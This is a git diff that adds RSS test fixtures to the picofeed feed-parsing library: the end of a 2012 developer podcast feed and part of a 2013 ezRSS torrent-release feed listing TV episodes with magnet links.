+ <guid isPermaLink="false">A77FF89F-1708-4AC2-B7FA-4C58CCE8B053</guid>
+ <itunes:author>Guy English, Rene Ritchie, Michael Jurewitz</itunes:author>
+ <itunes:subtitle>Michael Jurewitz (Jury), formerly developer tools evangelist at Apple, now director of product development at Black Pixel, talks to Guy and Rene about Kaleidoscope 2, the realities of Apple, how to ship software, and how to price software.</itunes:subtitle>
+ <itunes:summary>Michael Jurewitz (Jury), formerly developer tools evangelist at Apple, now director of product development at Black Pixel, talks to Guy and Rene about Kaleidoscope 2, the realities of Apple, how to ship software, how to price software, and dealing with that Daft Punk helmet.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:16:49</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug03.mp3" fileSize="56508466" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 2: Paul Haddad and Tapbots</title>
+ <link>http://www.iterate.tv/</link>
+ <description><![CDATA[<p>Paul Haddad of Tapbots talks to Guy and Rene about coding on NeXT, deploying Tweetbot and Netbot on multiple platforms, for multiple services, pricing for scarcity, in-app purchases, push notifications, iCloud sync, and his beef with AppKit. </p>
+
+<h2>Guest</h2>
+
+<ul></li>
+
+<li>Paul Haddad (<a href="http://alpha.app.net/pth/">@pth</a>) of <a href="http://www.tapbots.com/">Tapbots</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Mon, 26 Nov 2012 16:25:30 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug02.mp3" length="65309603" type="audio/mpeg" />
+ <guid isPermaLink="false">EEBAB007-3DA5-4434-A924-F0D7F4201F93</guid>
+ <itunes:author>Guy English, Rene Ritchie, Paul Haddad</itunes:author>
+ <itunes:subtitle>Paul Haddad of Tapbots talks to Guy and Rene about coding on NeXT, deploying Tweetbot and Netbot on multiple platforms, for multiple services, pricing for scarcity, in-app purchases, push notifications, iCloud sync, and his beef with AppKit. </itunes:subtitle>
+ <itunes:summary>Paul Haddad of Tapbots talks to Guy and Rene about coding on NeXT, deploying Tweetbot and Netbot on multiple platforms, for multiple services, pricing for scarcity, in-app purchases, push notifications, iCloud sync, and his beef with AppKit. </itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:29:03</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug02.mp3" fileSize="65309603" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <item>
+ <title>Debug 1: Loren Brichter and Letterpress</title>
+ <link>http://www.iterate.tv/</link>
+ <description><![CDATA[<p>Loren Brichter of Atebits talks to Guy and Rene about working on the iPhone at Apple, Tweetie at Twitter, and now Letterpress on his own. OpenGL, Game Center API, in-app purchases, iOS 7 feature requests, and other assorted nerdery follows.</p>
+
+<h2>Guest</h2>
+
+<ul></li>
+
+<li>Loren Brichter (<a href="http://twitter.com/atebits/">@atebits</a>) of <a href="http://www.atebits.com/">Atebits</a></li>
+</ul>
+
+<h2>Hosts</h2>
+
+<ul>
+
+<p><li>Guy English (<a href="http://twitter.com/gte">@gte</a>) of <a href="http://www.kickingbear.com">Kicking Bear</a></p>
+
+<li>Rene Ritchie (<a href="http://twitter.com/reneritchie/">@reneritchie</a>) of <a href="http://www.imore.com/">iMore.com</a></li>
+</ul>
+
+<h2>Feedback</h2>
+
+<p>Yell at us via the Twitter accounts above (or the same names on ADN). Loudly.</p>]]></description>
+ <pubDate>Tue, 13 Nov 2012 19:00:07 -0500</pubDate>
+ <enclosure url="http://traffic.libsyn.com/zenandtech/debug01.mp3" length="64582636" type="audio/mpeg" />
+ <guid isPermaLink="false">6C4572F8-0EB0-4ED2-8026-E59746661C42</guid>
+ <itunes:author>Guy English, Rene Ritchie, Loren Brichter</itunes:author>
+ <itunes:subtitle>Loren Brichter of Atebits talks to Guy and Rene about working on the iPhone at Apple, Tweetie at Twitter, and now Letterpress on his own. OpenGL, Game Center API, in-app purchases, iOS 7 feature requests, and other assorted nerdery follows.</itunes:subtitle>
+ <itunes:summary>Loren Brichter of Atebits talks to Guy and Rene about working on the iPhone at Apple, Tweetie at Twitter, and now Letterpress on his own. OpenGL, Game Center API, in-app purchases, iOS 7 feature requests, and other assorted nerdery follows.</itunes:summary>
+ <itunes:explicit>no</itunes:explicit>
+ <itunes:duration>1:29:27</itunes:duration>
+ <author>rene@mobilenations.com (Guy English, Rene Ritchie)</author><media:content url="http://traffic.libsyn.com/zenandtech/debug01.mp3" fileSize="64582636" type="audio/mpeg" /><itunes:keywords>development,ios,osx,iphone,ipad,mac,opengl,apps,app,store,games</itunes:keywords></item>
+ <media:credit role="author">Guy English, Rene Ritchie</media:credit><media:rating>nonadult</media:rating><media:description type="plain">Debug</media:description></channel>
+</rss>
diff --git a/vendor/fguillot/picofeed/tests/fixtures/ezrss.it b/vendor/fguillot/picofeed/tests/fixtures/ezrss.it
new file mode 100644
index 000000000..5f49958f2
--- /dev/null
+++ b/vendor/fguillot/picofeed/tests/fixtures/ezrss.it
@@ -0,0 +1,496 @@
+<?xml version="1.0" encoding="UTF-8" ?>
+<!DOCTYPE torrent PUBLIC "-//bitTorrent//DTD torrent 0.1//EN" "http://xmlns.ezrss.it/0.1/dtd/">
+<rss version="2.0">
+ <channel>
+ <title>ezRSS - Latest torrent releases</title>
+ <ttl>15</ttl>
+ <link>http://ezrss.it/feed/</link>
+ <image>
+ <title>ezRSS - Latest torrent releases</title>
+ <url>http://ezrss.it/images/ezrssit.png</url>
+ <link>http://ezrss.it/feed/</link>
+ </image>
+ <description>The latest 30 torrent releases.</description>
+ <item>
+ <title><![CDATA[National Geographic Access - Great Barrier Reef 3x60 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/National.Geographic.Access.360.Great.Barrier.Reef.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 17:09:52 -0500</pubDate>
+ <description><![CDATA[Show Name: National Geographic Access; Episode Title: Great Barrier Reef; Season: 3; Episode: 60]]></description>
+ <enclosure url="http://torrent.zoink.it/National.Geographic.Access.360.Great.Barrier.Reef.PDTV.x264.AAC.[MVGroup.org].torrent" length="721366766" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45237/</comments>
+ <guid>http://eztv.it/ep/45237/national-geographic-access-360-great-barrier-reef-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[National.Geographic.Access.360.Great.Barrier.Reef.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>721366766</contentLength>
+ <infoHash>81E21C0A53B138A349FE4AFDC10A56086B7CBD15</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:81E21C0A53B138A349FE4AFDC10A56086B7CBD15&dn=National.Geographic.Access.360.Great.Barrier.Reef.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[The Valleys 2x5 [HDTV - C4TV]]]></title>
+ <link>http://torrent.zoink.it/The.Valleys.S02E05.HDTV.x264-C4TV.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/726/the-valleys/"><![CDATA[TV Show / The Valleys]]></category>
+ <pubDate>Wed, 29 May 2013 16:13:51 -0500</pubDate>
+ <description><![CDATA[Show Name: The Valleys; Episode Title: N/A; Season: 2; Episode: 5]]></description>
+ <enclosure url="http://torrent.zoink.it/The.Valleys.S02E05.HDTV.x264-C4TV.[eztv].torrent" length="344393593" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45236/</comments>
+ <guid>http://eztv.it/ep/45236/the-valleys-s02e05-hdtv-x264-c4tv/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[The.Valleys.S02E05.HDTV.x264-C4TV.[eztv].torrent]]></fileName>
+ <contentLength>344393593</contentLength>
+ <infoHash>B4E86B2E26B7A22191092B2BC3E683E77CED0F5F</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:WTUGWLRGW6RCDEIJFMV4HZUD456O2D27&dn=The.Valleys.S02E05.HDTV.x264-C4TV]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Trawlermen Series 1 - The Storm 1x2 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Trawlermen.Series.1.2of5.The.Storm.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 15:13:54 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Trawlermen Series 1; Episode Title: The Storm; Season: 1; Episode: 2]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Trawlermen.Series.1.2of5.The.Storm.DVDRip.x264.AAC.[MVGroup.org].torrent" length="373884323" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45235/</comments>
+ <guid>http://eztv.it/ep/45235/bbc-trawlermen-series-1-2of5-the-storm-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Trawlermen.Series.1.2of5.The.Storm.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>373884323</contentLength>
+ <infoHash>90776630AA06E87F5C717C2A1CFCF2F216A7B8CB</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:90776630AA06E87F5C717C2A1CFCF2F216A7B8CB&dn=BBC.Trawlermen.Series.1.2of5.The.Storm.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Thames Television The Life and Times of Lord Mountbatten - Full Circle 1x11]]></title>
+ <link>http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.11of12.Full.Circle.XviD.AC3.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 14:13:53 -0500</pubDate>
+ <description><![CDATA[Show Name: Thames Television The Life and Times of Lord Mountbatten; Episode Title: Full Circle; Season: 1; Episode: 11]]></description>
+ <enclosure url="http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.11of12.Full.Circle.XviD.AC3.[MVGroup.org].torrent" length="823406592" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45234/</comments>
+ <guid>http://eztv.it/ep/45234/thames-television-the-life-and-times-of-lord-mountbatten-11of12-full-circle-xvid-ac3-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.11of12.Full.Circle.XviD.AC3-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>823406592</contentLength>
+ <infoHash>67EE2926109A2B557CD7DB65E6E945EA7296FA79</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:67EE2926109A2B557CD7DB65E6E945EA7296FA79&dn=Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.11of12.Full.Circle.XviD.AC3-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBC Trawlermen Series 1 - The Great Prawn Hunt 1x1 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBC.Trawlermen.Series.1.1of5.The.Great.Prawn.Hunt.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 11:32:46 -0500</pubDate>
+ <description><![CDATA[Show Name: BBC Trawlermen Series 1; Episode Title: The Great Prawn Hunt; Season: 1; Episode: 1]]></description>
+ <enclosure url="http://torrent.zoink.it/BBC.Trawlermen.Series.1.1of5.The.Great.Prawn.Hunt.DVDRip.x264.AAC.[MVGroup.org].torrent" length="388242999" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45232/</comments>
+ <guid>http://eztv.it/ep/45232/bbc-trawlermen-series-1-1of5-the-great-prawn-hunt-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBC.Trawlermen.Series.1.1of5.The.Great.Prawn.Hunt.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>388242999</contentLength>
+ <infoHash>5C975B193279707E71D7942154F64A862B9145CA</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:5C975B193279707E71D7942154F64A862B9145CA&dn=BBC.Trawlermen.Series.1.1of5.The.Great.Prawn.Hunt.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[National Geographic Meet the Natives USA - The Big Apple 1x2 [PDTV - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/National.Geographic.Meet.the.Natives.USA.2of5.The.Big.Apple.PDTV.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 09:53:11 -0500</pubDate>
+ <description><![CDATA[Show Name: National Geographic Meet the Natives USA; Episode Title: The Big Apple; Season: 1; Episode: 2]]></description>
+ <enclosure url="http://torrent.zoink.it/National.Geographic.Meet.the.Natives.USA.2of5.The.Big.Apple.PDTV.x264.AAC.[MVGroup.org].torrent" length="513588301" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45229/</comments>
+ <guid>http://eztv.it/ep/45229/national-geographic-meet-the-natives-usa-2of5-the-big-apple-pdtv-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[National.Geographic.Meet.the.Natives.USA.2of5.The.Big.Apple.PDTV.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>513588301</contentLength>
+ <infoHash>16C719F7983D8303A3A5EF32111B6A8A6B24BE87</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:16C719F7983D8303A3A5EF32111B6A8A6B24BE87&dn=National.Geographic.Meet.the.Natives.USA.2of5.The.Big.Apple.PDTV.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Thames Television The Life and Times of Lord Mountbatten - Fresh Fields 1x10]]></title>
+ <link>http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.10of12.Fresh.Fields.XviD.AC3.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 04:58:32 -0500</pubDate>
+ <description><![CDATA[Show Name: Thames Television The Life and Times of Lord Mountbatten; Episode Title: Fresh Fields; Season: 1; Episode: 10]]></description>
+ <enclosure url="http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.10of12.Fresh.Fields.XviD.AC3.[MVGroup.org].torrent" length="824440832" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45227/</comments>
+ <guid>http://eztv.it/ep/45227/thames-television-the-life-and-times-of-lord-mountbatten-10of12-fresh-fields-xvid-ac3-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.10of12.Fresh.Fields.XviD.AC3-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>824440832</contentLength>
+ <infoHash>AC5CB1F0E6E213CAB237EFF2301EC881E6793646</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:AC5CB1F0E6E213CAB237EFF2301EC881E6793646&dn=Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.10of12.Fresh.Fields.XviD.AC3-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[BBS The Documentary - Baud 1x1 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/BBS.The.Documentary.1of8.Baud.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 03:46:02 -0500</pubDate>
+ <description><![CDATA[Show Name: BBS The Documentary; Episode Title: Baud; Season: 1; Episode: 1]]></description>
+ <enclosure url="http://torrent.zoink.it/BBS.The.Documentary.1of8.Baud.DVDRip.x264.AAC.[MVGroup.org].torrent" length="343630179" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45226/</comments>
+ <guid>http://eztv.it/ep/45226/bbs-the-documentary-1of8-baud-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[BBS.The.Documentary.1of8.Baud.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>343630179</contentLength>
+ <infoHash>405271D5BC3A84A76885591031EB9CEEDD84918E</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:405271D5BC3A84A76885591031EB9CEEDD84918E&dn=BBS.The.Documentary.1of8.Baud.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Some Assembly Required Series 2 - Tennis Balls 1x11 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/Some.Assembly.Required.Series.2.11of12.Tennis.Balls.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Wed, 29 May 2013 01:44:05 -0500</pubDate>
+ <description><![CDATA[Show Name: Some Assembly Required Series 2; Episode Title: Tennis Balls; Season: 1; Episode: 11]]></description>
+ <enclosure url="http://torrent.zoink.it/Some.Assembly.Required.Series.2.11of12.Tennis.Balls.DVDRip.x264.AAC.[MVGroup.org].torrent" length="253700799" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45224/</comments>
+ <guid>http://eztv.it/ep/45224/some-assembly-required-series-2-11of12-tennis-balls-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Some.Assembly.Required.Series.2.11of12.Tennis.Balls.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>253700799</contentLength>
+ <infoHash>865132710EDD6151EF4C69A06DE309FF893864C6</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:865132710EDD6151EF4C69A06DE309FF893864C6&dn=Some.Assembly.Required.Series.2.11of12.Tennis.Balls.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Body of Proof 3x13 [HDTV - LOL]]]></title>
+ <link>http://torrent.zoink.it/Body.of.Proof.S03E13.HDTV.x264-LOL.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/472/body-of-proof/"><![CDATA[TV Show / Body of Proof]]></category>
+ <pubDate>Tue, 28 May 2013 21:09:43 -0500</pubDate>
+ <description><![CDATA[Show Name: Body of Proof; Episode Title: N/A; Season: 3; Episode: 13]]></description>
+ <enclosure url="http://torrent.zoink.it/Body.of.Proof.S03E13.HDTV.x264-LOL.[eztv].torrent" length="213910002" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45223/</comments>
+ <guid>http://eztv.it/ep/45223/body-of-proof-s03e13-hdtv-x264-lol/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Body.of.Proof.S03E13.HDTV.x264-LOL.[eztv].torrent]]></fileName>
+ <contentLength>213910002</contentLength>
+ <infoHash>B0224ED14632F2A1EB6C14D8542FE672E434D426</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:WARE5UKGGLZKD23MCTMFIL7GOLSDJVBG&dn=Body.of.Proof.S03E13.HDTV.x264-LOL]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Awkward 3x8 [HDTV - 2HD]]]></title>
+ <link>http://torrent.zoink.it/Awkward.S03E08.HDTV.x264-2HD.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/508/awkward/"><![CDATA[TV Show / Awkward]]></category>
+ <pubDate>Tue, 28 May 2013 20:44:21 -0500</pubDate>
+ <description><![CDATA[Show Name: Awkward; Episode Title: N/A; Season: 3; Episode: 8]]></description>
+ <enclosure url="http://torrent.zoink.it/Awkward.S03E08.HDTV.x264-2HD.[eztv].torrent" length="153665671" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45222/</comments>
+ <guid>http://eztv.it/ep/45222/awkward-s03e08-hdtv-x264-2hd/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Awkward.S03E08.HDTV.x264-2HD.[eztv].torrent]]></fileName>
+ <contentLength>153665671</contentLength>
+ <infoHash>C063116FC299E6E5476058CDE3302E393F4CC587</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:YBRRC36CTHTOKR3ALDG6GMBOHE7UZRMH&dn=Awkward.S03E08.HDTV.x264-2HD]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Deadliest Catch 9x7 [HDTV - KILLERS]]]></title>
+ <link>http://torrent.zoink.it/Deadliest.Catch.S09E07.HDTV.x264-KILLERS.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/72/deadliest-catch/"><![CDATA[TV Show / Deadliest Catch]]></category>
+ <pubDate>Tue, 28 May 2013 20:23:24 -0500</pubDate>
+ <description><![CDATA[Show Name: Deadliest Catch; Episode Title: N/A; Season: 9; Episode: 7]]></description>
+ <enclosure url="http://torrent.zoink.it/Deadliest.Catch.S09E07.HDTV.x264-KILLERS.[eztv].torrent" length="459832370" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45221/</comments>
+ <guid>http://eztv.it/ep/45221/deadliest-catch-s09e07-hdtv-x264-killers/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Deadliest.Catch.S09E07.HDTV.x264-KILLERS.[eztv].torrent]]></fileName>
+ <contentLength>459832370</contentLength>
+ <infoHash>6832DAE0AE55D9291734AE70A3ED68B95887354F</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:NAZNVYFOKXMSSFZUVZYKH3LIXFMIONKP&dn=Deadliest.Catch.S09E07.HDTV.x264-KILLERS]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[The Voice 4x22 [HDTV - 2HD]]]></title>
+ <link>http://torrent.zoink.it/The.Voice.S04E22.HDTV.x264-2HD.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/490/the-voice/"><![CDATA[TV Show / The Voice]]></category>
+ <pubDate>Tue, 28 May 2013 20:20:29 -0500</pubDate>
+ <description><![CDATA[Show Name: The Voice; Episode Title: N/A; Season: 4; Episode: 22]]></description>
+ <enclosure url="http://torrent.zoink.it/The.Voice.S04E22.HDTV.x264-2HD.[eztv].torrent" length="405384450" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45220/</comments>
+ <guid>http://eztv.it/ep/45220/the-voice-s04e22-hdtv-x264-2hd/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[The.Voice.S04E22.HDTV.x264-2HD.[eztv].torrent]]></fileName>
+ <contentLength>405384450</contentLength>
+ <infoHash>2102F479672BAEC3CA47F011A6703BAFF2613236</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:EEBPI6LHFOXMHSSH6AI2M4B3V7ZGCMRW&dn=The.Voice.S04E22.HDTV.x264-2HD]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Some Assembly Required Series 2 - Honda ATV factory 1x10 [DVDRIP - MVGROUP]]]></title>
+ <link>http://torrent.zoink.it/Some.Assembly.Required.Series.2.10of12.Honda.ATV.factory.DVDRip.x264.AAC.[MVGroup.org].torrent</link>
+ <category domain="http://eztv.it/shows/187/mv-group-documentaries/"><![CDATA[TV Show / MV Group Documentaries]]></category>
+ <pubDate>Tue, 28 May 2013 17:13:11 -0500</pubDate>
+ <description><![CDATA[Show Name: Some Assembly Required Series 2; Episode Title: Honda ATV factory; Season: 1; Episode: 10]]></description>
+ <enclosure url="http://torrent.zoink.it/Some.Assembly.Required.Series.2.10of12.Honda.ATV.factory.DVDRip.x264.AAC.[MVGroup.org].torrent" length="247036226" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45219/</comments>
+ <guid>http://eztv.it/ep/45219/some-assembly-required-series-2-10of12-honda-atv-factory-dvdrip-x264-aac-mvgroup/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[Some.Assembly.Required.Series.2.10of12.Honda.ATV.factory.DVDRip.x264.AAC-MVGroup.[MVGroup.org].torrent]]></fileName>
+ <contentLength>247036226</contentLength>
+ <infoHash>4DA1A3D40B38FACBD2A8CDEF02EE273E8AD4343D</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:4DA1A3D40B38FACBD2A8CDEF02EE273E8AD4343D&dn=Some.Assembly.Required.Series.2.10of12.Honda.ATV.factory.DVDRip.x264.AAC-MVGroup]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[The Wright Way 1x6 [HDTV - RIVER]]]></title>
+ <link>http://torrent.zoink.it/The.Wright.Way.S01E06.HDTV.x264-RiVER.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/840/the-wright-way/"><![CDATA[TV Show / The Wright Way]]></category>
+ <pubDate>Tue, 28 May 2013 16:34:37 -0500</pubDate>
+ <description><![CDATA[Show Name: The Wright Way; Episode Title: N/A; Season: 1; Episode: 6]]></description>
+ <enclosure url="http://torrent.zoink.it/The.Wright.Way.S01E06.HDTV.x264-RiVER.[eztv].torrent" length="265597160" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45218/</comments>
+ <guid>http://eztv.it/ep/45218/the-wright-way-s01e06-hdtv-x264-river/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[The.Wright.Way.S01E06.HDTV.x264-RiVER.[eztv].torrent]]></fileName>
+ <contentLength>265597160</contentLength>
+ <infoHash>22B0D5F2EF4E2D8A7DB9934B1AC4F236AF51635C</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:EKYNL4XPJYWYU7NZSNFRVRHSG2XVCY24&dn=The.Wright.Way.S01E06.HDTV.x264-RiVER]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[The Apprentice UK 9x5 [HDTV - ANGELIC]]]></title>
+ <link>http://torrent.zoink.it/The.Apprentice.UK.S09E05.HDTV.x264-ANGELiC.[eztv].torrent</link>
+ <category domain="http://eztv.it/shows/14/the-apprentice-uk/"><![CDATA[TV Show / The Apprentice (UK)]]></category>
+ <pubDate>Tue, 28 May 2013 15:52:44 -0500</pubDate>
+ <description><![CDATA[Show Name: The Apprentice UK; Episode Title: N/A; Season: 9; Episode: 5]]></description>
+ <enclosure url="http://torrent.zoink.it/The.Apprentice.UK.S09E05.HDTV.x264-ANGELiC.[eztv].torrent" length="309110658" type="application/x-bittorrent" />
+ <comments>http://eztv.it/forum/discuss/45216/</comments>
+ <guid>http://eztv.it/ep/45216/the-apprentice-uk-s09e05-hdtv-x264-angelic/</guid>
+ <torrent xmlns="http://xmlns.ezrss.it/0.1/">
+ <fileName><![CDATA[The.Apprentice.UK.S09E05.HDTV.x264-ANGELiC.[eztv].torrent]]></fileName>
+ <contentLength>309110658</contentLength>
+ <infoHash>ECC009BF4B403F1676898836A8F9B57B013DFC21</infoHash>
+ <magnetURI><![CDATA[magnet:?xt=urn:btih:5TAATP2LIA7RM5UJRA3KR6NVPMAT37BB&dn=The.Apprentice.UK.S09E05.HDTV.x264-ANGELiC]]></magnetURI>
+ </torrent>
+ </item>
+ <item>
+ <title><![CDATA[Thames Television The Life and Times of Lord Mountbatten - The Last Viceroy 1x9]]></title>
+ <link>http://torrent.zoink.it/Thames.Television.The.Life.and.Times.of.Lord.Mountbatten.09of12.The.Last.Viceroy.XviD.AC3.[MVGroup.org].torrent</link>
